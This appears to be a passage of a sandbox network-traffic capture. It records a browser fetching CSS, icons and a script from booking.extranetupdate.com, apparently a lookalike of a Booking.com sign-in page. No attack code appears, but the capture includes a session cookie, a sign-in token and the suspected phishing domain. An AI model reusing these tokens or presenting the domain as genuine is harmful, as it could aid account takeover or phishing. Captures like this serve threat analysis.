2025-04-17 11:24:26 UTC	1369	IN	Data Raw: 6d 2f 6a 71 75 65 72 79 2f 6a 71 75 65 72 79 2d 75 69 2f 31 2e 31 33 2e 32 2f 4c 49 43 45 4e 53 45 2e 74 78 74 20 2a 2f 0a 2e 75 69 2d 68 65 6c 70 65 72 2d 68 69 64 64 65 6e 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 7d 2e 75 69 2d 68 65 6c 70 65 72 2d 68 69 64 64 65 6e 2d 61 63 63 65 73 73 69 62 6c 65 7b 62 6f 72 64 65 72 3a 30 3b 63 6c 69 70 3a 72 65 63 74 28 30 20 30 20 30 20 30 29 3b 68 65 69 67 68 74 3a 31 70 78 3b 6d 61 72 67 69 6e 3a 2d 31 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 70 61 64 64 69 6e 67 3a 30 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 77 69 64 74 68 3a 31 70 78 3b 7d 2e 75 69 2d 68 65 6c 70 65 72 2d 72 65 73 65 74 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 3b 62 6f 72 64 65 72 3a 30 3b 6f 75 Data Ascii: m/jquery/jquery-ui/1.13.2/LICENSE.txt */.ui-helper-hidden{display:none;}.ui-helper-hidden-accessible{border:0;clip:rect(0 0 0 0);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px;}.ui-helper-reset{margin:0;padding:0;border:0;ou
2025-04-17 11:24:26 UTC	1369	IN	Data Raw: 62 6f 72 64 65 72 2d 77 69 64 74 68 3a 31 70 78 20 30 20 30 20 30 3b 7d 2e 75 69 2d 6d 65 6e 75 20 2e 75 69 2d 73 74 61 74 65 2d 66 6f 63 75 73 2c 2e 75 69 2d 6d 65 6e 75 20 2e 75 69 2d 73 74 61 74 65 2d 61 63 74 69 76 65 7b 6d 61 72 67 69 6e 3a 2d 31 70 78 3b 7d 2e 75 69 2d 6d 65 6e 75 2d 69 63 6f 6e 73 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 2e 75 69 2d 6d 65 6e 75 2d 69 63 6f 6e 73 20 2e 75 69 2d 6d 65 6e 75 2d 69 74 65 6d 2d 77 72 61 70 70 65 72 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 32 65 6d 3b 7d 2e 75 69 2d 6d 65 6e 75 20 2e 75 69 2d 69 63 6f 6e 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 74 6f 70 3a 30 3b 62 6f 74 74 6f 6d 3a 30 3b 6c 65 66 74 3a 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 61 75 74 6f 20 30 3b 7d 2e 75 Data Ascii: border-width:1px 0 0 0;}.ui-menu .ui-state-focus,.ui-menu .ui-state-active{margin:-1px;}.ui-menu-icons{position:relative;}.ui-menu-icons .ui-menu-item-wrapper{padding-left:2em;}.ui-menu .ui-icon{position:absolute;top:0;bottom:0;left:.2em;margin:auto 0;}.u
2025-04-17 11:24:26 UTC	1369	IN	Data Raw: 2e 65 78 74 6c 69 6e 6b 20 69 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 30 2e 32 65 6d 3b 7d 2e 65 78 74 6c 69 6e 6b 2d 6e 6f 62 72 65 61 6b 7b 77 68 69 74 65 2d 73 70 61 63 65 3a 6e 6f 77 72 61 70 3b 7d 0a 2e 70 61 72 61 67 72 61 70 68 2d 2d 75 6e 70 75 62 6c 69 73 68 65 64 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 34 66 34 3b 7d 0a 2e 6c 61 79 6f 75 74 2d 2d 6f 6e 65 63 6f 6c 20 2e 6c 61 79 6f 75 74 5f 5f 72 65 67 69 6f 6e 7b 77 69 64 74 68 3a 31 30 30 25 3b 7d 0a 2f 2a 20 40 6c 69 63 65 6e 73 65 20 50 75 62 6c 69 63 20 44 6f 6d 61 69 6e 20 68 74 74 70 73 3a 2f 2f 72 61 77 2e 67 69 74 68 75 62 75 73 65 72 63 6f 6e 74 65 6e 74 2e 63 6f 6d 2f 6a 71 75 65 72 79 2f 6a 71 75 65 72 79 2d 75 69 2f 31 2e 31 33 2e 32 2f 4c 49 43 45 4e 53 Data Ascii: .extlink i{padding-left:0.2em;}.extlink-nobreak{white-space:nowrap;}.paragraph--unpublished{background-color:#fff4f4;}.layout--onecol .layout__region{width:100%;}/* @license Public Domain https://raw.githubusercontent.com/jquery/jquery-ui/1.13.2/LICENS
2025-04-17 11:24:26 UTC	1369	IN	Data Raw: 65 61 64 65 72 20 2e 75 69 2d 73 74 61 74 65 2d 66 6f 63 75 73 2c 2e 75 69 2d 62 75 74 74 6f 6e 3a 68 6f 76 65 72 2c 2e 75 69 2d 62 75 74 74 6f 6e 3a 66 6f 63 75 73 7b 62 6f 72 64 65 72 3a 31 70 78 20 73 6f 6c 69 64 20 23 63 63 63 63 63 63 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 65 64 65 64 65 64 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 6e 6f 72 6d 61 6c 3b 63 6f 6c 6f 72 3a 23 32 62 32 62 32 62 3b 7d 2e 75 69 2d 73 74 61 74 65 2d 68 6f 76 65 72 20 61 2c 2e 75 69 2d 73 74 61 74 65 2d 68 6f 76 65 72 20 61 3a 68 6f 76 65 72 2c 2e 75 69 2d 73 74 61 74 65 2d 68 6f 76 65 72 20 61 3a 6c 69 6e 6b 2c 2e 75 69 2d 73 74 61 74 65 2d 68 6f 76 65 72 20 61 3a 76 69 73 69 74 65 64 2c 2e 75 69 2d 73 74 61 74 65 2d 66 6f 63 75 73 20 61 2c 2e 75 69 2d 73 74 61 74 65 2d 66 6f Data Ascii: eader .ui-state-focus,.ui-button:hover,.ui-button:focus{border:1px solid #cccccc;background:#ededed;font-weight:normal;color:#2b2b2b;}.ui-state-hover a,.ui-state-hover a:hover,.ui-state-hover a:link,.ui-state-hover a:visited,.ui-state-focus a,.ui-state-fo

Timestamp	Bytes transferred	Direction	Data
2025-04-17 11:24:25 UTC	975	OUT	GET /static/message_alert.svg HTTP/1.1 Host: booking.extranetupdate.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://booking.extranetupdate.com/sign-in?op_token=zXj81EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uN3prM3BpcmgSCWF1dGhvcml6ZRoaaHR0cHM6Ly9hZG1pbi5ib29raW5nLmNvbS8qOnsiYXV0aF9hdHRlbXB0X2lkIjoiYjEzZGNlMjQtMGM5OS00YjJlLThiOGUtNjI0NjllN2Y1ZGQ5In0yK1lHOEtPZGcwYXplS1N1OG5VZ25uQ3pSci1MYkt5TXFxaVNWanNsMjV4WnM6BFMyNTZCBGNvZGUqEzCSipujlK4nOgBCAFjd1NXosDI Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=8adfpa1nognav7t2muoumjuvlt
2025-04-17 11:24:26 UTC	979	IN	HTTP/1.1 200 OK Date: Thu, 17 Apr 2025 11:24:26 GMT Content-Type: image/svg+xml Content-Length: 700 Connection: close Cf-Ray: 931b8e555ead1d76-ATL Server: cloudflare Last-Modified: Thursday, 17-Apr-2025 11:24:26 GMT Etag: "67268c76-2bc" Cache-Control: no-store, no-cache, must-revalidate, proxy-revalidate, max-age=0 Cf-Cache-Status: BYPASS Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FSP%2FlINd36vC%2BkHLlVeVN02eRqr4kZfbn3wzl9DMjaN8Q7fjnTJOou1XYcIxs7XJOcBBJaJOtfJ1N0h6T6vwOjktVd4vtVX%2FfBncDF49%2FF%2F%2Fe5xpPcuSWRnGQf2FYn1E5O164nH8Aa%2Bv1YjI%2Fw%3D%3D"}],"group":"cf-nel","max_age":604800} Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=105795&min_rtt=105728&rtt_var=22406&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2844&recv_bytes=1569&delivery_rate=38111&cwnd=252&unsent_bytes=0&cid=b3b3df4c325413be&ts=721&x=0"
2025-04-17 11:24:26 UTC	390	IN	Data Raw: 3c 73 76 67 20 64 61 74 61 2d 69 63 6f 6e 2d 6e 61 6d 65 3d 22 61 6c 65 72 74 22 20 64 61 74 61 2d 77 69 64 74 68 3d 22 32 34 22 20 68 65 69 67 68 74 3d 22 32 34 22 20 76 69 65 77 62 6f 78 3d 22 30 20 30 20 32 34 20 32 34 22 20 77 69 64 74 68 3d 22 32 34 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 3e 3c 70 61 74 68 20 66 69 6c 6c 3d 22 23 66 35 36 37 30 30 22 20 64 3d 22 4d 31 32 20 31 35 2e 37 35 61 31 2e 31 32 34 39 20 31 2e 31 32 34 39 20 30 20 31 30 2d 2e 30 30 30 31 20 32 2e 32 34 39 38 41 31 2e 31 32 34 39 20 31 2e 31 32 34 39 20 30 20 30 30 31 32 20 31 35 2e 37 35 61 2e 37 34 39 37 2e 37 34 39 37 20 30 20 30 30 2d 2e 37 35 2e 37 35 2e 37 34 39 37 2e 37 34 39 37 20 30 20 30 30 2e 37 35 Data Ascii: <svg data-icon-name="alert" data-width="24" height="24" viewbox="0 0 24 24" width="24" xmlns="http://www.w3.org/2000/svg"><path fill="#f56700" d="M12 15.75a1.1249 1.1249 0 10-.0001 2.2498A1.1249 1.1249 0 0012 15.75a.7497.7497 0 00-.75.75.7497.7497 0 00.75
2025-04-17 11:24:26 UTC	310	IN	Data Raw: 30 2d 2e 37 35 2d 2e 37 35 7a 6d 2e 37 35 2d 32 2e 32 35 56 35 2e 32 35 61 2e 37 34 39 38 2e 37 34 39 38 20 30 20 30 30 2d 31 2e 32 38 30 33 2d 2e 35 33 30 33 2e 37 34 39 38 2e 37 34 39 38 20 30 20 30 30 2d 2e 32 31 39 37 2e 35 33 30 33 76 38 2e 32 35 61 2e 37 34 39 37 2e 37 34 39 37 20 30 20 30 30 2e 37 35 2e 37 35 2e 37 34 39 37 2e 37 34 39 37 20 30 20 30 30 2e 37 35 2d 2e 37 35 7a 4d 32 32 2e 35 20 31 32 63 30 20 35 2e 37 39 39 2d 34 2e 37 30 31 20 31 30 2e 35 2d 31 30 2e 35 20 31 30 2e 35 53 31 2e 35 20 31 37 2e 37 39 39 20 31 2e 35 20 31 32 20 36 2e 32 30 31 20 31 2e 35 20 31 32 20 31 2e 35 20 32 32 2e 35 20 36 2e 32 30 31 20 32 32 2e 35 20 31 32 7a 6d 31 2e 35 20 30 63 30 2d 36 2e 36 32 37 2d 35 2e 33 37 33 2d 31 32 2d 31 32 2d 31 32 53 30 20 35 2e Data Ascii: 0-.75-.75zm.75-2.25V5.25a.7498.7498 0 00-1.2803-.5303.7498.7498 0 00-.2197.5303v8.25a.7497.7497 0 00.75.75.7497.7497 0 00.75-.75zM22.5 12c0 5.799-4.701 10.5-10.5 10.5S1.5 17.799 1.5 12 6.201 1.5 12 1.5 22.5 6.201 22.5 12zm1.5 0c0-6.627-5.373-12-12-12S0 5.

Timestamp	Bytes transferred	Direction	Data
2025-04-17 11:24:25 UTC	973	OUT	GET /static/message_tip.svg HTTP/1.1 Host: booking.extranetupdate.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://booking.extranetupdate.com/sign-in?op_token=zXj81EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uN3prM3BpcmgSCWF1dGhvcml6ZRoaaHR0cHM6Ly9hZG1pbi5ib29raW5nLmNvbS8qOnsiYXV0aF9hdHRlbXB0X2lkIjoiYjEzZGNlMjQtMGM5OS00YjJlLThiOGUtNjI0NjllN2Y1ZGQ5In0yK1lHOEtPZGcwYXplS1N1OG5VZ25uQ3pSci1MYkt5TXFxaVNWanNsMjV4WnM6BFMyNTZCBGNvZGUqEzCSipujlK4nOgBCAFjd1NXosDI Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=8adfpa1nognav7t2muoumjuvlt
2025-04-17 11:24:26 UTC	976	IN	HTTP/1.1 200 OK Date: Thu, 17 Apr 2025 11:24:26 GMT Content-Type: image/svg+xml Content-Length: 1466 Connection: close Cf-Ray: 931b8e555937ed83-ATL Server: cloudflare Last-Modified: Thursday, 17-Apr-2025 11:24:26 GMT Etag: "67268c78-5ba" Cache-Control: no-store, no-cache, must-revalidate, proxy-revalidate, max-age=0 Cf-Cache-Status: BYPASS Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9uF%2FZsYKpV2NFQpKTxl3ZzLTv63nbXe%2FFwQ%2BnoKpK%2BkY%2BRwLc3WdCt%2Bdls7Cm2Ih3g1VKvu8feySM4mx167DmBPhID7W0gdNJXgt56L6IO6kRZmDn%2B4tJjcPhtT6WIWRWHW4AkznONc1gN5Oig%3D%3D"}],"group":"cf-nel","max_age":604800} Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=105843&min_rtt=105814&rtt_var=22366&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2844&recv_bytes=1567&delivery_rate=38125&cwnd=249&unsent_bytes=0&cid=89c794356ba554aa&ts=722&x=0"
2025-04-17 11:24:26 UTC	393	IN	Data Raw: 3c 73 76 67 20 64 61 74 61 2d 69 63 6f 6e 2d 6e 61 6d 65 3d 22 74 69 70 22 20 68 65 69 67 68 74 3d 22 32 34 22 20 76 69 65 77 62 6f 78 3d 22 30 20 30 20 32 34 20 32 34 22 20 77 69 64 74 68 3d 22 32 34 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 3e 3c 70 61 74 68 20 66 69 6c 6c 3d 22 23 66 66 62 37 30 30 22 20 64 3d 22 4d 31 32 2e 37 35 20 32 2e 32 35 31 76 2d 31 2e 35 61 2e 37 34 39 38 2e 37 34 39 38 20 30 20 30 30 2d 31 2e 32 38 30 33 2d 2e 35 33 30 33 2e 37 34 39 38 2e 37 34 39 38 20 30 20 30 30 2d 2e 32 31 39 37 2e 35 33 30 33 76 31 2e 35 61 2e 37 34 39 38 2e 37 34 39 38 20 30 20 30 30 31 2e 32 38 30 33 2e 35 33 30 33 2e 37 34 39 38 2e 37 34 39 38 20 30 20 30 30 2e 32 31 39 37 2d 2e 35 33 Data Ascii: <svg data-icon-name="tip" height="24" viewbox="0 0 24 24" width="24" xmlns="http://www.w3.org/2000/svg"><path fill="#ffb700" d="M12.75 2.251v-1.5a.7498.7498 0 00-1.2803-.5303.7498.7498 0 00-.2197.5303v1.5a.7498.7498 0 001.2803.5303.7498.7498 0 00.2197-.53
2025-04-17 11:24:26 UTC	1073	IN	Data Raw: 37 35 2d 2e 37 35 48 32 31 61 2e 37 34 39 37 2e 37 34 39 37 20 30 20 30 30 2d 2e 37 35 2e 37 35 2e 37 34 39 37 2e 37 34 39 37 20 30 20 30 30 2e 37 35 2e 37 35 7a 6d 2d 33 2e 31 36 36 20 36 2e 31 34 34 6c 31 2e 30 36 20 31 2e 30 36 31 61 2e 37 35 30 38 2e 37 35 30 38 20 30 20 30 30 2e 35 33 32 38 2e 32 32 39 32 2e 37 34 39 39 2e 37 34 39 39 20 30 20 30 30 2e 35 32 38 32 2d 31 2e 32 38 39 32 6c 2d 31 2e 30 36 2d 31 2e 30 36 31 61 2e 37 35 30 38 2e 37 35 30 38 20 30 20 30 30 2d 2e 35 33 32 38 2d 2e 32 32 39 32 2e 37 34 39 39 2e 37 34 39 39 20 30 20 30 30 2d 2e 35 32 38 32 20 31 2e 32 38 39 32 7a 4d 36 2e 31 36 36 20 34 2e 33 35 38 6c 2d 31 2e 30 36 2d 31 2e 30 36 31 61 2e 37 35 2e 37 35 20 30 20 30 30 2d 31 2e 30 36 31 20 31 2e 30 36 6c 31 2e 30 36 20 31 2e Data Ascii: 75-.75H21a.7497.7497 0 00-.75.75.7497.7497 0 00.75.75zm-3.166 6.144l1.06 1.061a.7508.7508 0 00.5328.2292.7499.7499 0 00.5282-1.2892l-1.06-1.061a.7508.7508 0 00-.5328-.2292.7499.7499 0 00-.5282 1.2892zM6.166 4.358l-1.06-1.061a.75.75 0 00-1.061 1.06l1.06 1.

Timestamp	Bytes transferred	Direction	Data
2025-04-17 11:24:26 UTC	953	OUT	GET /cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js HTTP/1.1 Host: booking.extranetupdate.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://booking.extranetupdate.com/sign-in?op_token=zXj81EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uN3prM3BpcmgSCWF1dGhvcml6ZRoaaHR0cHM6Ly9hZG1pbi5ib29raW5nLmNvbS8qOnsiYXV0aF9hdHRlbXB0X2lkIjoiYjEzZGNlMjQtMGM5OS00YjJlLThiOGUtNjI0NjllN2Y1ZGQ5In0yK1lHOEtPZGcwYXplS1N1OG5VZ25uQ3pSci1MYkt5TXFxaVNWanNsMjV4WnM6BFMyNTZCBGNvZGUqEzCSipujlK4nOgBCAFjd1NXosDI Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=8adfpa1nognav7t2muoumjuvlt
2025-04-17 11:24:26 UTC	768	IN	HTTP/1.1 200 OK Date: Thu, 17 Apr 2025 11:24:26 GMT Content-Type: application/javascript Content-Length: 1239 Connection: close Accept-Ranges: bytes Last-Modified: Mon, 14 Apr 2025 06:48:49 GMT Cache-Control: max-age=172800 Cache-Control: public Etag: "67fcafd1-4d7" Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2x4roLRfolJQ7r%2BHZSokajDcUcTscGWNNqj7Ixz8e0zfWJKhnGitTlc%2BnnLLuxHkUdx396IVq3jLP3P6NPvFycXFMDhO3rhGEq4EMdJGrsPcuPtreXlD2CIumB4vL%2BGole0KPTfRQnif2dh5FA%3D%3D"}],"group":"cf-nel","max_age":604800} Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare Cf-Ray: 931b8e5a0bd97ba0-ATL X-Frame-Options: DENY X-Content-Type-Options: nosniff Expires: Sat, 19 Apr 2025 11:24:26 GMT
2025-04-17 11:24:26 UTC	601	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 65 28 65 29 7b 74 72 79 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 63 6f 6e 73 6f 6c 65 29 72 65 74 75 72 6e 3b 22 65 72 72 6f 72 22 69 6e 20 63 6f 6e 73 6f 6c 65 3f 63 6f 6e 73 6f 6c 65 2e 65 72 72 6f 72 28 65 29 3a 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 28 65 29 7d 63 61 74 63 68 28 65 29 7b 7d 7d 66 75 6e 63 74 69 6f 6e 20 74 28 65 29 7b 72 65 74 75 72 6e 20 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 27 3c 61 20 68 72 65 66 3d 22 27 2b 65 2e 72 65 70 6c 61 63 65 28 2f 22 2f 67 2c 22 26 71 75 6f 74 3b 22 29 2b 27 22 3e 3c 2f 61 3e 27 2c 64 2e 63 68 69 6c 64 4e 6f 64 65 73 5b 30 5d 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 68 72 65 66 Data Ascii: !function(){"use strict";function e(e){try{if("undefined"==typeof console)return;"error"in console?console.error(e):console.log(e)}catch(e){}}function t(e){return d.innerHTML='<a href="'+e.replace(/"/g,""")+'"></a>',d.childNodes[0].getAttribute("href
2025-04-17 11:24:26 UTC	638	IN	Data Raw: 6d 61 69 6c 74 6f 3a 22 2b 6e 28 6f 2e 68 72 65 66 2c 61 2b 6c 2e 6c 65 6e 67 74 68 29 29 7d 63 61 74 63 68 28 69 29 7b 65 28 69 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 74 29 7b 66 6f 72 28 76 61 72 20 72 3d 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 75 29 2c 63 3d 30 3b 63 3c 72 2e 6c 65 6e 67 74 68 3b 63 2b 2b 29 74 72 79 7b 76 61 72 20 6f 3d 72 5b 63 5d 2c 61 3d 6f 2e 70 61 72 65 6e 74 4e 6f 64 65 2c 69 3d 6f 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 66 29 3b 69 66 28 69 29 7b 76 61 72 20 6c 3d 6e 28 69 2c 30 29 2c 64 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 54 65 78 74 4e 6f 64 65 28 6c 29 3b 61 2e 72 65 70 6c 61 63 65 43 68 69 6c 64 28 64 2c 6f 29 7d 7d 63 61 74 63 68 28 68 29 7b 65 28 68 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 61 Data Ascii: mailto:"+n(o.href,a+l.length))}catch(i){e(i)}}function o(t){for(var r=t.querySelectorAll(u),c=0;c<r.length;c++)try{var o=r[c],a=o.parentNode,i=o.getAttribute(f);if(i){var l=n(i,0),d=document.createTextNode(l);a.replaceChild(d,o)}}catch(h){e(h)}}function a

Timestamp	Bytes transferred	Direction	Data
2025-04-17 11:24:26 UTC	899	OUT	GET /static/a HTTP/1.1 Host: booking.extranetupdate.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://booking.extranetupdate.com/sign-in?op_token=zXj81EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uN3prM3BpcmgSCWF1dGhvcml6ZRoaaHR0cHM6Ly9hZG1pbi5ib29raW5nLmNvbS8qOnsiYXV0aF9hdHRlbXB0X2lkIjoiYjEzZGNlMjQtMGM5OS00YjJlLThiOGUtNjI0NjllN2Y1ZGQ5In0yK1lHOEtPZGcwYXplS1N1OG5VZ25uQ3pSci1MYkt5TXFxaVNWanNsMjV4WnM6BFMyNTZCBGNvZGUqEzCSipujlK4nOgBCAFjd1NXosDI Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=8adfpa1nognav7t2muoumjuvlt
2025-04-17 11:24:27 UTC	800	IN	HTTP/1.1 404 Not Found Date: Thu, 17 Apr 2025 11:24:27 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Cf-Ray: 931b8e5b2a7db078-ATL Server: cloudflare Cf-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PRkHhmvDSrGzlSJGVrhEnFhPsvrroMDh3gLLxosn%2Fg4mUmJHFW2fomNcLfL157VFdLYaujBynwfyPEergDUxX3ULDNLSPM7LWos9tmB7ZifiBYyUUWy94Hjdp4ZPjJYr4HadbrH%2BJKCw6INW3Q%3D%3D"}],"group":"cf-nel","max_age":604800} Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=105891&min_rtt=105861&rtt_var=22378&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2843&recv_bytes=1471&delivery_rate=38102&cwnd=252&unsent_bytes=0&cid=d1ed8fac84c12bba&ts=721&x=0"
2025-04-17 11:24:27 UTC	555	IN	Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 Data Ascii: 224<html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Ch
2025-04-17 11:24:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0